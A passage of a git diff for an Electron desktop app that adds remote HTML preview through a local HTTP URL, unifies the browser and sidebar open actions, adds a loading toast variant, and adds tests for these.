+ contextBridge.exposeInMainWorld('filePeerHost', files);
+} else contextBridge.exposeInMainWorld('desktopCapture', api);
diff --git a/apps/desktop/src/preload/preload.ts b/apps/desktop/src/preload/preload.ts
index 5f21c74f08..dfa14b45b6 100644
--- a/apps/desktop/src/preload/preload.ts
+++ b/apps/desktop/src/preload/preload.ts
@@ -2657,6 +2657,8 @@ contextBridge.exposeInMainWorld('electronAPI', {
// incremental tree updates while user is in the browse view.
fileBrowser: {
listDir: (params: {
+ /** Return all ordinary entries without presentation filtering. */
+ includeIgnored?: boolean;
/** 非空 = SSH remote 会话,操作经远端 file-service 执行(main 侧路由)。 */
remoteHostId?: string | null;
workdir: string;
@@ -2823,6 +2825,15 @@ contextBridge.exposeInMainWorld('electronAPI', {
* 进度沿用 onTransferProgress,relPath 键 = 原始 absPath。失败按 code 分流:
* OUTSIDE_WORKDIR(SSH workdir 外,明确占位)/ NOT_FOUND / FETCH_FAILED。
*/
+ previewHtml: (params: {
+ origin:
+ | { kind: 'local' }
+ | { kind: 'device'; deviceId: string }
+ | { kind: 'ssh'; remoteHostId: string };
+ workdir: string;
+ absPath: string;
+ }): Promise<{ ok: true; url: string }> =>
+ ipcRenderer.invoke('maker:html-preview:open', params),
chatFetch: (params: {
origin: { kind: 'device'; deviceId: string } | { kind: 'ssh'; remoteHostId: string };
workdir: string;
diff --git a/apps/desktop/src/preload/sidebarWindowPreload.ts b/apps/desktop/src/preload/sidebarWindowPreload.ts
index 75648cf842..a8c00625a4 100644
--- a/apps/desktop/src/preload/sidebarWindowPreload.ts
+++ b/apps/desktop/src/preload/sidebarWindowPreload.ts
@@ -211,6 +211,7 @@ contextBridge.exposeInMainWorld('electronAPI', {
readCached: (params: unknown): Promise<unknown> => ipcRenderer.invoke('maker:file-browser:read-cached', params),
cachePut: (params: unknown): Promise<unknown> => ipcRenderer.invoke('maker:file-browser:cache-put', params),
onTransferProgress: (cb: (event: unknown) => void): (() => void) => onPayload('maker:file-browser:transfer', cb),
+ previewHtml: (params: unknown): Promise<unknown> => ipcRenderer.invoke('maker:html-preview:open', params),
chatFetch: (params: unknown): Promise<unknown> => ipcRenderer.invoke('maker:chat-file:fetch', params),
chatStat: (params: unknown): Promise<unknown> => ipcRenderer.invoke('maker:chat-file:stat', params),
},
diff --git a/apps/desktop/src/renderer/__tests__/botGeneratedArtifactsCard.test.tsx b/apps/desktop/src/renderer/__tests__/botGeneratedArtifactsCard.test.tsx
index cc359ff4c1..f0ab4550bb 100644
--- a/apps/desktop/src/renderer/__tests__/botGeneratedArtifactsCard.test.tsx
+++ b/apps/desktop/src/renderer/__tests__/botGeneratedArtifactsCard.test.tsx
@@ -118,6 +118,7 @@ describe('伙伴成果卡', () => {
'bot-session',
'/bot/workspace/猫岛邮局-logo-方案.html',
expect.any(Function),
+ expect.objectContaining({ origin: { kind: 'local' } }),
);
});
expect(screen.queryByTestId('text-lightbox')).toBeNull();
diff --git a/apps/desktop/src/renderer/__tests__/htmlPreviewOpening.test.ts b/apps/desktop/src/renderer/__tests__/htmlPreviewOpening.test.ts
new file mode 100644
index 0000000000..c8370d4c69
--- /dev/null
+++ b/apps/desktop/src/renderer/__tests__/htmlPreviewOpening.test.ts
@@ -0,0 +1,88 @@
+// @vitest-environment jsdom
+import { beforeEach, expect, it, vi } from 'vitest';
+import type { TFunction } from 'i18next';
+const mocks = vi.hoisted(() => ({
+ local: vi.fn(), sidebar: vi.fn(), preference: vi.fn(() => 'sidebar'), preview: vi.fn(), external: vi.fn(), error: vi.fn(), loading: vi.fn(() => 'loading'), dismiss: vi.fn(),
+}));
+vi.mock('@/features/right-sidebar/lib/openInSidebarBrowser', async (importOriginal) => ({
+ ...await importOriginal<typeof import('../features/right-sidebar/lib/openInSidebarBrowser')>(),
+ openUrlInSidebarBrowser: mocks.sidebar,
+}));
+vi.mock('@/hooks/useLinkOpenPreference', () => ({ getLinkOpenPreference: mocks.preference, getLinkOpenPreferenceForUrl: mocks.preference }));
+vi.mock('@/features/cc-agent/embeddedSessionNavigation', () => ({ useSidebarTargetSessionId: (id: string) => id }));
+vi.mock('@/lib/toast', () => ({ toast: { error: mocks.error, loading: mocks.loading, dismiss: mocks.dismiss } }));
+import { openHtmlFileByPreference } from '../components/chat/useOpenWithMenu';
+const t = ((key: string) => key) as TFunction;
+const context = { origin: { kind: 'device' as const, deviceId: 'remote-device' }, workingDir: '/remote' };
+beforeEach(() => {
+ vi.clearAllMocks();
+ mocks.preference.mockReturnValue('sidebar');
+ mocks.preview.mockResolvedValue({ ok: true, url: 'http://127.0.0.1:12345/token/' });
+ mocks.external.mockResolvedValue({ success: true });
+ Object.defineProperty(window, 'electronAPI', { configurable: true, value: { fileBrowser: { previewHtml: mocks.preview }, openExternal: mocks.external, openFileInBrowser: mocks.local } });
+});
+it('prepares the remote directory before opening the built-in browser', async () => {
+ await openHtmlFileByPreference('session', '/remote/preview/index.html', t, context);
+ expect(mocks.preview).toHaveBeenCalledWith({ origin: context.origin, workdir: '/remote', absPath: '/remote/preview/index.html' });
+ expect(mocks.sidebar).toHaveBeenCalledWith('session', 'http://127.0.0.1:12345/token/');
+ expect(mocks.external).not.toHaveBeenCalled();
+});
+it('uses the same preview mechanism for the system browser preference and explicit menu', async () => {
+ mocks.preference.mockReturnValue('external');
+ await openHtmlFileByPreference('session', '/remote/index.html', t, context);
+ expect(mocks.external).toHaveBeenCalledWith('http://127.0.0.1:12345/token/');
+ await openHtmlFileByPreference('session', '/remote/index.html', t, context, 'sidebar');
+ expect(mocks.sidebar).toHaveBeenCalledTimes(1);
+});
+it('shows an actionable old-device error and does not open partial content', async () => {
+ mocks.preview.mockRejectedValue(new Error('[HTML_PREVIEW_UNSUPPORTED] Unsupported'));
+ await openHtmlFileByPreference('session', '/remote/index.html', t, context);
+ expect(mocks.error).toHaveBeenCalledWith('chat.remoteFile.previewUnsupported');
+ expect(mocks.sidebar).not.toHaveBeenCalled();
+ expect(mocks.external).not.toHaveBeenCalled();
+});
+
+it.each([false, true])('dismisses neutral loading when preview settles (failure=%s)', async (fails) => {
+ vi.useFakeTimers();
+ try {
+ let settle!: () => void;
+ mocks.preview.mockImplementationOnce(() => new Promise((resolve, reject) => {
+ settle = () => fails ? reject(new Error('failed')) : resolve({ url: 'http://127.0.0.1/preview/' });
+ }));
+ const opening = openHtmlFileByPreference('session', '/remote/index.html', t, context);
+ await vi.advanceTimersByTimeAsync(600);
+ expect(mocks.loading).toHaveBeenCalledWith('chat.remoteFile.previewFetching');
+ expect(mocks.error).not.toHaveBeenCalled();
+ settle();
+ await opening;
+ expect(mocks.dismiss).toHaveBeenCalledWith('loading');
+ expect(mocks.error).toHaveBeenCalledTimes(fails ? 1 : 0);
+ } finally { vi.useRealTimers(); }
+});
+
+it.each(['sidebar', 'external'] as const)('opens local HTML in place with preference %s', async (preference) => {
+ mocks.preference.mockReturnValue(preference);
+ await openHtmlFileByPreference('session', '/private/tmp/a #1.html', t);
+ expect(mocks.preview).not.toHaveBeenCalled();
+ expect(mocks.loading).not.toHaveBeenCalled();
+ if (preference === 'sidebar') expect(mocks.sidebar).toHaveBeenCalledWith('session', 'file:///private/tmp/a%20%231.html');
+ else expect(mocks.local).toHaveBeenCalledWith('/private/tmp/a #1.html');
+});
+it('honors both explicit local menu targets and reports local open failures', async () => {
+ const local = { origin: { kind: 'local' as const }, workingDir: '/private/tmp' };
+ await openHtmlFileByPreference('session', '/private/tmp/index.html', t, local, 'external');
+ expect(mocks.local).toHaveBeenCalledOnce();
+ mocks.preference.mockReturnValue('external');
+ await openHtmlFileByPreference('session', '/private/tmp/index.html', t, local, 'sidebar');
+ expect(mocks.sidebar).toHaveBeenCalledWith('session', 'file:///private/tmp/index.html');
+ mocks.local.mockRejectedValueOnce(new Error('failed'));
+ await openHtmlFileByPreference('', '/private/tmp/index.html', t, local);
+ expect(mocks.error).toHaveBeenCalledWith('chat.markdownRenderer.openInBrowserFailed');
+ expect(mocks.preview).not.toHaveBeenCalled();
+});
+it('keeps SSH HTML on the remote preview path', async () => {
+ const ssh = { origin: { kind: 'ssh' as const, remoteHostId: 'host' }, workingDir: '/remote' };
+ await openHtmlFileByPreference('session', '/remote/index.html', t, ssh);
+ expect(mocks.preview).toHaveBeenCalledWith({ origin: ssh.origin, workdir: '/remote', absPath: '/remote/index.html' });
+ expect(mocks.local).not.toHaveBeenCalled();
+});
diff --git a/apps/desktop/src/renderer/__tests__/markdownTarget.test.ts b/apps/desktop/src/renderer/__tests__/markdownTarget.test.ts
index 2399d6bd5b..cdf4f54b7b 100644
--- a/apps/desktop/src/renderer/__tests__/markdownTarget.test.ts
+++ b/apps/desktop/src/renderer/__tests__/markdownTarget.test.ts
@@ -1,4 +1,4 @@
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
import {
classifyInlineCodeTarget,
@@ -79,6 +79,34 @@ describe('classifyMarkdownLinkTarget', () => {
});
});
+ it('routes xdt HTML files through file resolution, preserving encoded path characters', () => {
+ for (const [url, filePath] of [
+ ['xdt-file:///Users/cindy/preview/index.html', '/Users/cindy/preview/index.html'],
+ ['xdt-file://open?path=%2Ftmp%2Fa%2520b.html', '/tmp/a%20b.html'],
+ ['xdt-file:///C:/preview/index.html', 'C:/preview/index.html'],
+ ]) {
+ expect(classifyMarkdownLinkTarget(url)).toMatchObject({
+ kind: 'local-candidate',
+ href: filePath,
+ localKind: 'text',
+ });
+ }
+ });
+
+ it('preserves triple-slash paths without relying on the host custom-scheme URL parser', () => {
+ const parser = vi.spyOn(globalThis, 'URL').mockImplementation(() => {
+ throw new Error('Host URL parser must not reinterpret an explicit file path');
+ });
+ try {
+ expect(classifyMarkdownLinkTarget('xdt-file:///Users/test/a%20b.html')).toMatchObject({
+ kind: 'local-candidate', href: '/Users/test/a b.html',
+ });
+ expect(parser).not.toHaveBeenCalled();
+ } finally {
+ parser.mockRestore();
+ }
+ });
+
it('routes xdt image/file URLs as direct image preview targets', () => {
expect(classifyMarkdownLinkTarget('xdt-image://sess/a.png')).toEqual({
kind: 'local-image-url',
diff --git a/apps/desktop/src/renderer/__tests__/toastColors.test.ts b/apps/desktop/src/renderer/__tests__/toastColors.test.ts
index 54c7f020d6..9c27db0160 100644
--- a/apps/desktop/src/renderer/__tests__/toastColors.test.ts
+++ b/apps/desktop/src/renderer/__tests__/toastColors.test.ts
@@ -29,7 +29,7 @@ describe('E5D Toast 四色定稿(2026-07-17,豁免解除)', () => {
});
}
- it('Toast 四变体齐全(info/success/warning/error),无遗漏', () => {
- expect(Object.keys(VARIANT_MAP).sort()).toEqual(['error', 'info', 'success', 'warning']);
+ it('Toast 包含中性 loading 与四种状态提示', () => {
+ expect(Object.keys(VARIANT_MAP).sort()).toEqual(['error', 'info', 'loading', 'success', 'warning']);
});
});
diff --git a/apps/desktop/src/renderer/components/chat/GeneratedFilesCard.tsx b/apps/desktop/src/renderer/components/chat/GeneratedFilesCard.tsx
index f4ba5abb19..7c2cf7e011 100644
--- a/apps/desktop/src/renderer/components/chat/GeneratedFilesCard.tsx
+++ b/apps/desktop/src/renderer/components/chat/GeneratedFilesCard.tsx
@@ -303,19 +303,8 @@ function GeneratedFileChip({
return;
}
if (htmlWithSession) {
- if (remoteOrigin) {
- const cachePath = await fetchChatFileWithToasts(
- remoteOrigin,
- fileCtx.workingDir,
- file.path,
- );
- if (cachePath && sidebarTargetSessionId) {
- await openHtmlFileByPreference(sidebarTargetSessionId, cachePath, t);
- }
- return;
- }
if (sidebarTargetSessionId) {
- await openHtmlFileByPreference(sidebarTargetSessionId, file.path, t);
+ await openHtmlFileByPreference(sidebarTargetSessionId, file.path, t, fileCtx);
}
return;
}
diff --git a/apps/desktop/src/renderer/components/chat/MarkdownRenderer.tsx b/apps/desktop/src/renderer/components/chat/MarkdownRenderer.tsx
index e533045979..e529ede207 100644
--- a/apps/desktop/src/renderer/components/chat/MarkdownRenderer.tsx
+++ b/apps/desktop/src/renderer/components/chat/MarkdownRenderer.tsx
@@ -1028,17 +1028,8 @@ function FileTargetChip({
// 与输入附件一致:点击打开 lightbox 前先撤掉 hover 层,避免关闭大图后残留。
setImagePreviewOpen(false);
if (htmlWithSession) {
- if (chipRemoteOrigin) {
- void (async () => {
- const cachePath = await fetchChatFileWithToasts(chipRemoteOrigin, fileCtx.workingDir, resolvedAbsPath);
- if (cachePath && sidebarTargetSessionId) {
- await openHtmlFileByPreference(sidebarTargetSessionId, cachePath, t);
- }
- })();
- return;
- }
if (sidebarTargetSessionId) {
- void openHtmlFileByPreference(sidebarTargetSessionId, resolvedAbsPath, t);
+ void openHtmlFileByPreference(sidebarTargetSessionId, resolvedAbsPath, t, fileCtx);
}
return;
}
@@ -1135,7 +1126,6 @@ function ResolvedLocalLink({
// 同 FileTargetChip:html + 有会话上下文时左键按偏好直开,「查看源文件」
// 与「在侧边栏浏览器中打开」并入右键菜单;其余文件左键直开预览。
const fileCtx = useChatSessionFile();
- const linkRemoteOrigin = isRemoteFileOrigin(fileCtx.origin) ? fileCtx.origin : null;
const htmlWithSession =
localKind !== 'directory' && isHtmlFilePath(resolvedAbsPath) && sessionId ? sessionId : undefined;
const sidebarTargetSessionId = useSidebarTargetSessionId(htmlWithSession);
@@ -1156,15 +1146,8 @@ function ResolvedLocalLink({
onClick={async (e) => {
e.preventDefault();
if (htmlWithSession) {
- if (linkRemoteOrigin) {
- const cachePath = await fetchChatFileWithToasts(linkRemoteOrigin, fileCtx.workingDir, resolvedAbsPath);
- if (cachePath && sidebarTargetSessionId) {
- await openHtmlFileByPreference(sidebarTargetSessionId, cachePath, t);
- }
- return;
- }
if (sidebarTargetSessionId) {
- await openHtmlFileByPreference(sidebarTargetSessionId, resolvedAbsPath, t);
+ await openHtmlFileByPreference(sidebarTargetSessionId, resolvedAbsPath, t, fileCtx);
}
return;
}
diff --git a/apps/desktop/src/renderer/components/chat/__tests__/sidebarEmbeddedActionTarget.test.tsx b/apps/desktop/src/renderer/components/chat/__tests__/sidebarEmbeddedActionTarget.test.tsx
index 5d5e8e8900..d1450862f8 100644
--- a/apps/desktop/src/renderer/components/chat/__tests__/sidebarEmbeddedActionTarget.test.tsx
+++ b/apps/desktop/src/renderer/components/chat/__tests__/sidebarEmbeddedActionTarget.test.tsx
@@ -58,7 +58,7 @@ import { useOpenWithMenu } from '../useOpenWithMenu';
function ActionProbe() {
const menu = useFileChipContextMenu({
- getAbsPath: () => '/repo/src/App.tsx',
+ getAbsPath: () => '/repo/src/index.html',
sidebarOpenSessionId: 'worker-a',
});
return (
@@ -117,7 +117,12 @@ function wrapper(children: ReactNode) {
}
describe('sidebar-embedded action target', () => {
- beforeEach(() => vi.clearAllMocks());
+ beforeEach(() => {
+ vi.clearAllMocks();
+ Object.defineProperty(window, 'electronAPI', { configurable: true, value: {
+ fileBrowser: { previewHtml: vi.fn(async () => ({ ok: true, url: 'http://127.0.0.1:12345/preview/' })) },
+ } });
+ });
it('opens file-browser and web-browser tabs in the visible Lead bucket', async () => {
render(wrapper(<ActionProbe />));
@@ -125,7 +130,7 @@ describe('sidebar-embedded action target', () => {
fireEvent.click(screen.getByText('open-menu'));
fireEvent.click(screen.getByText('chat.markdownRenderer.openInSidebarFileBrowser'));
await waitFor(() =>
- expect(openFileInSidebarFileBrowser).toHaveBeenCalledWith('lead-a', 'src/App.tsx'),
+ expect(openFileInSidebarFileBrowser).toHaveBeenCalledWith('lead-a', 'src/index.html'),
);
fireEvent.click(screen.getByText('open-menu'));
@@ -133,7 +138,7 @@ describe('sidebar-embedded action target', () => {
await waitFor(() =>
expect(openUrlInSidebarBrowser).toHaveBeenCalledWith(
'lead-a',
- 'file:///repo/src/App.tsx',
+ 'file:///repo/src/index.html',
),
);
});
diff --git a/apps/desktop/src/renderer/components/chat/useFileChipContextMenu.tsx b/apps/desktop/src/renderer/components/chat/useFileChipContextMenu.tsx
index f24b583c95..99be1e0853 100644
--- a/apps/desktop/src/renderer/components/chat/useFileChipContextMenu.tsx
+++ b/apps/desktop/src/renderer/components/chat/useFileChipContextMenu.tsx
@@ -58,10 +58,6 @@ import {
DropdownMenuSubTrigger,
DropdownMenuTrigger,
} from '@/components/ui/dropdown-menu';
-import {
- openUrlInSidebarBrowser,
- pathToFileUrl,
-} from '@/features/right-sidebar/lib/openInSidebarBrowser';
import {
openDirInSidebarFileBrowser,
openExternalFileInSidebarFileBrowser,
@@ -71,6 +67,7 @@ import { isRemoteFileOrigin } from '@/lib/sessionFileOrigin';
import { copyRemoteChatFile, revealRemoteChatFile } from '@/lib/remoteFileOpen';
import { toWorkdirRel } from '../../../shared/workdirPath';
import { useSidebarTargetSessionId } from '@/features/cc-agent/embeddedSessionNavigation';
+import { openHtmlFileByPreference } from './useOpenWithMenu';
import { useChatSessionFile } from './ChatSessionFileContext';
export interface UseFileChipContextMenu {
@@ -181,30 +178,26 @@ export function useFileChipContextMenu({
async function handleOpenInBrowser(): Promise<void> {
setMenuPos(null);
const abs = await getAbsPath();
- try {
- await window.electronAPI.openFileInBrowser(abs);
- } catch (error) {
- toast.error(
- t(
- mapIpcErrorToI18nKey(error, {
- namespace: 'chat.markdownRenderer',
- fallback: 'chat.markdownRenderer.openInBrowserFailed',
- }),
- ),
- );
- }
+ await openHtmlFileByPreference(
+ sidebarBrowserTargetSessionId ?? sidebarFileTargetSessionId ?? '',
+ abs,
+ t,
+ sessionFileCtx,
+ 'external',
+ );
}
async function handleOpenInSidebar(): Promise<void> {
setMenuPos(null);
if (!sidebarBrowserTargetSessionId) return;
const abs = await getAbsPath();
- try {
- await openUrlInSidebarBrowser(sidebarBrowserTargetSessionId, pathToFileUrl(abs));
- } catch {
- // store 层已 log(addTab 上限 / IPC 异常),这里只给用户反馈。
- toast.error(t('chat.markdownRenderer.openInSidebarFailed'));
- }
+ await openHtmlFileByPreference(
+ sidebarBrowserTargetSessionId,
+ abs,
+ t,
+ sessionFileCtx,
+ 'sidebar',
+ );
}
async function handleOpenInSidebarFileBrowser(): Promise<void> {
@@ -334,7 +327,7 @@ export function useFileChipContextMenu({
{t('chat.markdownRenderer.openInSidebarFileBrowser')}
</DropdownMenuItem>
) : null}
- {sidebarBrowserTargetSessionId && !remoteOrigin ? (
+ {sidebarBrowserTargetSessionId ? (
<DropdownMenuItem onClick={handleOpenInSidebar}>
<PanelRight className="mr-2 h-4 w-4" />
{t('chat.markdownRenderer.openInSidebarBrowser')}
@@ -403,7 +396,7 @@ export function useFileChipContextMenu({
? t('chat.remoteFile.revealLocalCopy')
: t('chat.markdownRenderer.revealFile')}
</DropdownMenuItem>
- {canOpenInBrowser && !remoteOrigin ? (
+ {canOpenInBrowser ? (
<DropdownMenuItem onClick={handleOpenInBrowser}>
<Globe className="mr-2 h-4 w-4" />
{t('chat.markdownRenderer.openInBrowser')}
diff --git a/apps/desktop/src/renderer/components/chat/useOpenWithMenu.tsx b/apps/desktop/src/renderer/components/chat/useOpenWithMenu.tsx
index 6405f9f920..d7ce7fb9c2 100644
--- a/apps/desktop/src/renderer/components/chat/useOpenWithMenu.tsx
+++ b/apps/desktop/src/renderer/components/chat/useOpenWithMenu.tsx
@@ -23,7 +23,7 @@ import { useTranslation } from 'react-i18next';
import type { TFunction } from 'i18next';
import { toast } from '@/lib/toast';
-import { mapIpcErrorToI18nKey } from '@/utils/ipcError';
+import { extractIpcError, mapIpcErrorToI18nKey } from '@/utils/ipcError';
import {
DropdownMenu,
DropdownMenuContent,
@@ -31,15 +31,10 @@ import {
DropdownMenuSeparator,
DropdownMenuTrigger,
} from '@/components/ui/dropdown-menu';
-import {
- openUrlInSidebarBrowser,
- pathToFileUrl,
-} from '@/features/right-sidebar/lib/openInSidebarBrowser';
-import {
- getLinkOpenPreference,
- getLinkOpenPreferenceForUrl,
-} from '@/hooks/useLinkOpenPreference';
+import { openUrlInSidebarBrowser, pathToFileUrl } from '@/features/right-sidebar/lib/openInSidebarBrowser';
+import { getLinkOpenPreference, getLinkOpenPreferenceForUrl } from '@/hooks/useLinkOpenPreference';
import { useSidebarTargetSessionId } from '@/features/cc-agent/embeddedSessionNavigation';
+import type { SessionFileOrigin } from '@/lib/sessionFileOrigin';
/** 左键"按偏好直开"只对浏览器"作为页面渲染"有意义的 html 家族生效;其余本地
* 文件保持原有"点击即预览"。右键菜单的 BROWSER_OPENABLE_EXTS 也收敛到
@@ -72,27 +67,56 @@ export async function openUrlByPreference(
if (!res.success) toast.error(t('chat.markdownRenderer.openLinkFailed'));
}
-/** 本地 html 文件左键:走内部网页偏好(sidebar → file:// 进内置;external → 系统浏览器)。 */
+/** Local HTML opens in place; remote HTML uses the viewer-local HTTP preview. */
export async function openHtmlFileByPreference(
sessionId: string,
absPath: string,
t: TFunction,
+ context: { origin: SessionFileOrigin; workingDir: string } = {
+ origin: { kind: 'local' },
+ workingDir: '',
+ },
+ target?: 'sidebar' | 'external',
): Promise<void> {
- if (getLinkOpenPreference('local') === 'sidebar') {
- await openInSidebar(sessionId, pathToFileUrl(absPath), t);
+ if (context.origin.kind === 'local') {
+ if ((target ?? getLinkOpenPreference('local')) === 'sidebar' && sessionId) {
+ await openInSidebar(sessionId, pathToFileUrl(absPath), t);
+ } else {
+ try {
+ await window.electronAPI.openFileInBrowser(absPath);
+ } catch (error) {
+ toast.error(t(mapIpcErrorToI18nKey(error, {
+ namespace: 'chat.markdownRenderer', fallback: 'chat.markdownRenderer.openInBrowserFailed',
+ })));
+ }
+ }
return;
}
+ let loading: string | null = null;
+ const delayed = setTimeout(() => {
+ loading = toast.loading(t('chat.remoteFile.previewFetching'));
+ }, 600);
try {
- await window.electronAPI.openFileInBrowser(absPath);
+ const result = await window.electronAPI.fileBrowser.previewHtml({
+ origin: context.origin,
+ workdir: context.workingDir,
+ absPath,
+ });
+ if ((target ?? getLinkOpenPreference('local')) === 'sidebar' && sessionId) {
+ await openInSidebar(sessionId, result.url, t);
+ } else {
+ const opened = await window.electronAPI.openExternal(result.url);
+ if (!opened.success) toast.error(t('chat.markdownRenderer.openInBrowserFailed'));
+ }
} catch (error) {
- toast.error(
- t(
- mapIpcErrorToI18nKey(error, {
- namespace: 'chat.markdownRenderer',
- fallback: 'chat.markdownRenderer.openInBrowserFailed',
- }),
- ),
- );
+ const code = extractIpcError(error)?.code;
+ const key = code === 'HTML_PREVIEW_TOO_LARGE' ? 'previewTooLarge'
+ : code === 'HTML_PREVIEW_UNSUPPORTED' ? 'previewUnsupported'
+ : code === 'NOT_FOUND' ? 'previewNotFound' : 'previewFailed';
+ toast.error(t(`chat.remoteFile.${key}`));
+ } finally {
+ clearTimeout(delayed);
+ if (loading) toast.dismiss(loading);
}
}
diff --git a/apps/desktop/src/renderer/components/ui/toast/Toast.tsx b/apps/desktop/src/renderer/components/ui/toast/Toast.tsx
index bb39f1e6b2..a178427aae 100644
--- a/apps/desktop/src/renderer/components/ui/toast/Toast.tsx
+++ b/apps/desktop/src/renderer/components/ui/toast/Toast.tsx
@@ -1,7 +1,8 @@
-import { CircleCheck, CircleX, Info, TriangleAlert, type LucideIcon } from 'lucide-react';
+import { CircleCheck, CircleX, Info, LoaderCircle, TriangleAlert, type LucideIcon } from 'lucide-react';
import { useLayoutEffect, useRef, useState } from 'react';
import { cn } from '@/lib/utils';
+import { Spinner } from '@/components/ui/spinner';
import { toast, type ToastItem, type ToastVariant } from '@/lib/toast';
interface VariantMeta {
@@ -13,6 +14,12 @@ interface VariantMeta {
export const VARIANT_MAP: Record<ToastVariant, VariantMeta> = {
// E5D 定稿 2026-07-17(Toast 豁免解除):info/success/warning/error 四色定稿,跨主题一致
+ loading: {
+ icon: LoaderCircle,
+ color: 'var(--text-secondary)',
+ role: 'status',
+ ariaLive: 'polite',
+ },
info: {
icon: Info,
color: '#417CDD',
@@ -109,13 +116,16 @@ export function Toast({ item }: ToastProps) {
'px-4 py-[10px]',
)}
>
- {/* Icon 16×16(彩色,硬编码内联 style) */}
- <Icon
- aria-hidden
- className="h-4 w-4 shrink-0"
- style={{ color: meta.color }}
- strokeWidth={2}
- />
+ {item.variant === 'loading' ? (
+ <Spinner size={16} strokeWidth={2} aria-hidden style={{ color: meta.color }} />
+ ) : (
+ <Icon
+ aria-hidden
+ className="h-4 w-4 shrink-0"
+ style={{ color: meta.color }}
+ strokeWidth={2}
+ />
+ )}
<span ref={messageRef} className="min-w-0 max-w-[480px] text-13 font-medium leading-snug text-[var(--cmd-palette-item-text)] whitespace-pre-line [overflow-wrap:anywhere]">
{/* 来源身份头(第三方供文案时宿主画:图标+名字,内容是谁说的一眼可辨) */}
diff --git a/apps/desktop/src/renderer/features/cc-agent/workdir-browse/WorkdirBrowseSidebar.tsx b/apps/desktop/src/renderer/features/cc-agent/workdir-browse/WorkdirBrowseSidebar.tsx
index ab06a20300..4be7ff9e90 100644
--- a/apps/desktop/src/renderer/features/cc-agent/workdir-browse/WorkdirBrowseSidebar.tsx
+++ b/apps/desktop/src/renderer/features/cc-agent/workdir-browse/WorkdirBrowseSidebar.tsx
@@ -21,6 +21,8 @@
* the Projects view, this component unmounts, watcher closes.
*/
+import { openHtmlFileByPreference } from '@/components/chat/useOpenWithMenu';
+import { resolveSessionFileOrigin } from '@/lib/sessionFileOrigin';
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { useNavigate, useSearchParams } from 'react-router-dom';
import { ArrowLeft, Check, ChevronDown, ChevronsDownUp, RefreshCw, Search, X as XIcon } from 'lucide-react';
@@ -37,7 +39,6 @@ import {
import { useConfirmDialog } from '@/components/ui/confirm-dialog-provider';
import { toast } from '@/lib/toast';
import { createLogger } from '@/lib/logger';
-import { extractIpcError, mapIpcErrorToI18nKey } from '@/utils/ipcError';
import { useFileTree, type DirEntry } from './hooks/useFileTree';
import { fileBrowserApiFor } from '@/lib/fileBrowserTransport';
@@ -51,10 +52,6 @@ import { FILTER_RESULT_LIMIT, filterFiles } from './lib/filterFiles';
import { loadSelectedFile, saveSelectedFile } from './lib/selectedFileStore';
import { loadExpandedSet, saveExpandedSet } from './lib/expandedStore';
import { clearFileScroll } from './lib/fileScrollStore';
-import {
- openUrlInSidebarBrowser,
- pathToFileUrl,
-} from '@/features/right-sidebar/lib/openInSidebarBrowser';
import {
addTab as storeAddTab,
removeTab as storeRemoveTab,
@@ -489,43 +486,36 @@ export function WorkdirBrowseSidebar({
const handleOpenInSidebarBrowser = useCallback(
async (entry: DirEntry) => {
- const abs = toOsAbsolutePath(workdir, entry.relPath);
- try {
- await openUrlInSidebarBrowser(sessionId, pathToFileUrl(abs));
- } catch (err) {
- log.warn('open in sidebar browser failed', { relPath: entry.relPath, error: String(err) });
- toast.error(t('chat.markdownRenderer.openInSidebarFailed'));
- }
+ await openHtmlFileByPreference(
+ sessionId,
+ toOsAbsolutePath(workdir, entry.relPath),
+ t,
+ {
+ origin: resolveSessionFileOrigin(deviceId ?? undefined, remoteHostId),
+ workingDir: workdir,
+ },
+ 'sidebar',
+ );
},
- [sessionId, workdir, t],
+ [sessionId, workdir, deviceId, remoteHostId, t],
);
const handleOpenInBrowser = useCallback(
async (entry: DirEntry) => {
- const abs = toOsAbsolutePath(workdir, entry.relPath);
- try {
- await window.electronAPI.openFileInBrowser(abs);
- } catch (error) {
- log.warn('open in browser failed', {
- relPath: entry.relPath,
- errorCode: extractIpcError(error)?.code ?? 'unknown',
- });
- toast.error(
- t(
- mapIpcErrorToI18nKey(error, {
- namespace: 'chat.markdownRenderer',
- fallback: 'chat.markdownRenderer.openInBrowserFailed',
- }),
- ),
- );
- }
+ await openHtmlFileByPreference(
+ sessionId,
+ toOsAbsolutePath(workdir, entry.relPath),
+ t,
+ {
+ origin: resolveSessionFileOrigin(deviceId ?? undefined, remoteHostId),
+ workingDir: workdir,
+ },
+ 'external',
+ );
},
- [workdir, t],
+ [sessionId, workdir, deviceId, remoteHostId, t],
);
- // 右键 文件/文件夹 → 重命名。进入 inline 编辑态;真正的 IPC + 副作用清理
- // 在 handleRenameSubmit 里跑(回车 / 失焦后)。
- // 同时关掉 pendingCreate 防止两个编辑态同屏(用户先开新建再去 rename 别人的情况)。
const handleRename = useCallback((entry: DirEntry) => {
setPendingCreate(null);
setRenamingPath(entry.relPath);
@@ -815,8 +805,8 @@ export function WorkdirBrowseSidebar({
onDeleteFile={handleDeleteFile}
onCopyFilePath={handleCopyFilePath}
onRevealInFolder={remoteHostId || deviceId ? undefined : handleRevealInFolder}
- onOpenInSidebarBrowser={remoteHostId || deviceId ? undefined : handleOpenInSidebarBrowser}
- onOpenInBrowser={remoteHostId || deviceId ? undefined : handleOpenInBrowser}
+ onOpenInSidebarBrowser={handleOpenInSidebarBrowser}
+ onOpenInBrowser={handleOpenInBrowser}
onRename={handleRename}
pendingCreate={pendingCreate}
onPendingSubmit={handlePendingSubmit}
diff --git a/apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/FileBrowserBody.tsx b/apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/FileBrowserBody.tsx
index ca4117f707..e722ea5880 100644
--- a/apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/FileBrowserBody.tsx
+++ b/apps/desktop/src/renderer/features/right-sidebar/plugins/file-browser/FileBrowserBody.tsx
@@ -28,6 +28,8 @@
* singleton 拿当前 dirty 状态,跟 doc 模式行为一致。
*/
+import { openHtmlFileByPreference } from '@/components/chat/useOpenWithMenu';
+import { resolveSessionFileOrigin } from '@/lib/sessionFileOrigin';
import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore, type DragEvent } from 'react';
import { useTranslation } from 'react-i18next';
import { ChevronsDownUp, FolderX, RefreshCw, Search, X as XIcon } from 'lucide-react';
@@ -35,7 +37,6 @@ import { ChevronsDownUp, FolderX, RefreshCw, Search, X as XIcon } from 'lucide-r
